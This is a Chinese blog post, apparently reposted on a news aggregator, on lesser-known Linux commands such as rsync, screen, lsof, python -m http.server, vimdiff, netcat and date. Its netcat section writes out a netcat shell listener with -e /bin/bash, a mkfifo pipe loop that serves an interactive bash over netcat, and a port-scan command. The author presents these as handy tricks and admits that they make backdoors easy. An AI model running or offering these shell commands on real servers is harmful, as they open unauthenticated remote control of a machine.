当前位置: 首页 > 科技观察

没有人会教你这些又傻又甜的Linux命令!

时间:2023-03-22 02:07:54 科技观察

Linux有很多命令。为了掌握它,许多学生耗尽脑细胞,憔悴不堪。结果背了一大堆垃圾命令,用了就忘了哈哈。xjjdog之前整理了一批最常用的Linux命令,甚至还写了一篇很长的Linux教程文档。可以说,只要掌握了这些,就可以像哪吒的风火轮一样玩转Linux命令了。但在本文中,我将介绍一些其他命令,它们将使您的Linux技能更上一层楼。几乎没有人会教你这些命令的应用场景。rsync如果你用过cp,你肯定知道scp。cp的适用范围是单机,而scp可以实现跨机复制。例如:scp-Crvp-l1024logs/root@remoetserver:/opt/logs其中-C表示压缩;-r表示循环传送整个目录;-p表示保留原文件的一些属性;-l表示限制贷款(kb/s);-v表示显示详细过程。但是如果你传输的文件非常大,比如每天上传到T的日志文件,你不可能每次都传输这些文件,那么增量备份就会成为首要需求;当然,如果可以排除一些文件就好了。它们之间有两个小区别:rsync默认只复制变化的文件,而scp是全量复制,所以rsync非常适合做增量备份。另外,scp是加密传输,而rsync不是。在这种情况下,rsync就派上用场了。例如:rsync-prz--exclude'bin'--bwlimit=1024logs/root@remoetserver:/opt/logs同理,-r表示递归;-p表示保留属性;-z表示启用压缩;--bwlimit表示带宽限制;而--exclude可以指定我们要忽略的文件。如果想查看拷贝的进度,可以加上--progress参数。screen&tmux费了九牛二虎之力登陆公司的服务器,发现只能打开一个暗窗。如果打开另一个,则需要重复相同的过程。当后者关闭计算机时,ssh就断开了。是不是感觉很无助?即使组合使用Ctrl+z和fg,也只能在后台运行一个命令。screen可以避免这些问题,许多Linux发行版都预装了它。当然,tmux是更高级的版本,但您可能没有安装它的权限。直接执行屏幕命令以启动新的屏幕会话。下面演示了一个常见的过程。#1使用screen输入命令screenvim/etc/hosts#2在screen终端按Ctrl+ad,会退出编辑窗口#3显示创建的screen终端screen-ls#4使用screen_id连接screen终端14000screen-r14000lsof在Linux环境中,一切都以文件的形式存在,通过它你不仅可以访问常规数据,还可以访问网络连接和硬件。lsof是一个可以查看所有关联文件的命令,非常好用。默认情况下lsof会列出系统上所有正在使用的文件,这些文件通常很大。所以它提供了很多过滤条件。例如-p指定进程号;-u指定用户名;-i列出所有网络链接。常用命令如下:#1.列出123和456进程对应的文件信息lsof-p123,456#2.列出所有tcp链接lsof-itcp#3.查看占用8080端口的进程信息lsof-i:8080python-mpython是一个很好的工具,尤其是它内置了很多的一句话服务。比如你想在服务器上临时开通一个HTTP服务,又不想安装Nginx或者Tomcat这么麻烦的东西,可以用Python临时开通一个。python3-mhttp.server9080ServingHTTPon::port9080(http://[::]:9080/)这将在启动命令行的目录中启动HTTP服务器。如果要格式化json字符串,请使用json.tool。python-mjson.tool使用它,可以很方便的完成json格式化,无需再次访问浏览器。vimdiff很多人用vim来编辑文件,但很少有人知道vim还可以比较两个文件。与diff命令相比,vimdiff得到的结果带有颜色。直接编辑要比较的两个文件即可。vimfile1file2vim会尽量保证两边的文件对齐。当你滚动一侧的数据时,它会带动另一侧同时滚动。]c下一个不同点[c最后一个不同点ncnetcat这个工具,简称nc,是Linux上非常强大的工具(当然也有windows版本的)。因为实在是太能干了,有的公司甚至把他隔离了。比如重命名,或者给000权限。因为很容易在服务器上开一个后门(backdoor),而且极其方便。nc的参数那么多。如果将它们列出来,您将失去兴趣。您将错过如此强大的工具和进入游戏的机会。我们还是用一个案例来说明为什么这个不到1MB的命令就俘获了xjjdog的芳心。以下命令将打开机器上的端口5879。Server:#nc-l-vv-p5879-e/bin/bashNcat:Version6.40(http://nmap.org/ncat)Ncat:Listeningon:::5879Ncat:Listeningon0.0.0.0:5879这个过程是称为反向shell,您可以使用nc命令远程连接并执行一些操作。客户端:#nc-v192.16.1.545879连接到192.16.1.54端口5879[tcp/*]成功!在服务器端执行如下两条命令,构成一个循环。rm-f/tmp/f;mkfifo/tmp/fcat/tmp/f|/bin/bash-i2>&1|nc-l5879>/tmp/f客户端nc连接后,命令行操作直接出现terminal!$nc-v192.16.1.545879Connectionto192.16.1.54port5879[tcp/*]succeeded![root@localhost~]#你可能会说,为什么我关闭客户端后服务器上的命令就退出了?如果想让服务器继续监听,可以加上参数-k。如果想判断服务器的tomcat端口是否开放,可以不用登录服务器,然后ps查看进程,或者使用netstat-antl查看监听端口。只需简单地输入ip和端口,它就会知道结果。#nc-vvvbaidu.com443连接baidu.com443端口【tcp/https】成功!当然,它也可以扫描主机的端口开放。但对程序员来说并不多。nc-vzw2192.16.1.548888-9999有关nc的更多信息,请参阅本文。nc很强大,很容易让人蹲下来让Unix时间戳可读。如果你得到一个Linux时间戳,那么你可能想知道现在几点了。虽然有许多网络工具可以帮助您做到这一点,但它们太慢了。我们可以直接使用date命令来实现。向下看。date-d@1658054000+'%Y-%m-%d%H:%M:%S'您可以创建自己的常用命令来替换后者。对于macbook,代替d参数,r参数具有相同的效果。date-r1658054000SunJul1718:33:20CST2022systemctl关于systemd,我们在另一篇文章中解释。这是一个有用的命令,用于查看当前服务器中可用的可执行服务。systemctl-l-t服务|lessEnd以上是我自己一点点添加的几个Linux效率工具。从上图中的一个调查部分可以看出,太多人在使用Linux命令行。MacOS的很多指令已经和Linux趋同了,所以这个范围会更大。掌握一些常用的Linux命令可以让你的工作越来越快。而那些不常用的命令只会耗尽你宝贵的时间。这篇文章告诉你的是基于工作经验。没有书呆子气,也没有冗长的参数列表。只说你最常用的,因为我懂你。作者简介:品味小姐姐(xjjdog),一个不允许程序员走弯路的公众号。专注于基础架构和Linux。十年架构,每天百亿流量,与你探讨高并发世界,给你不一样的滋味。我的个人微信xjjdog0,欢迎加好友进一步交流。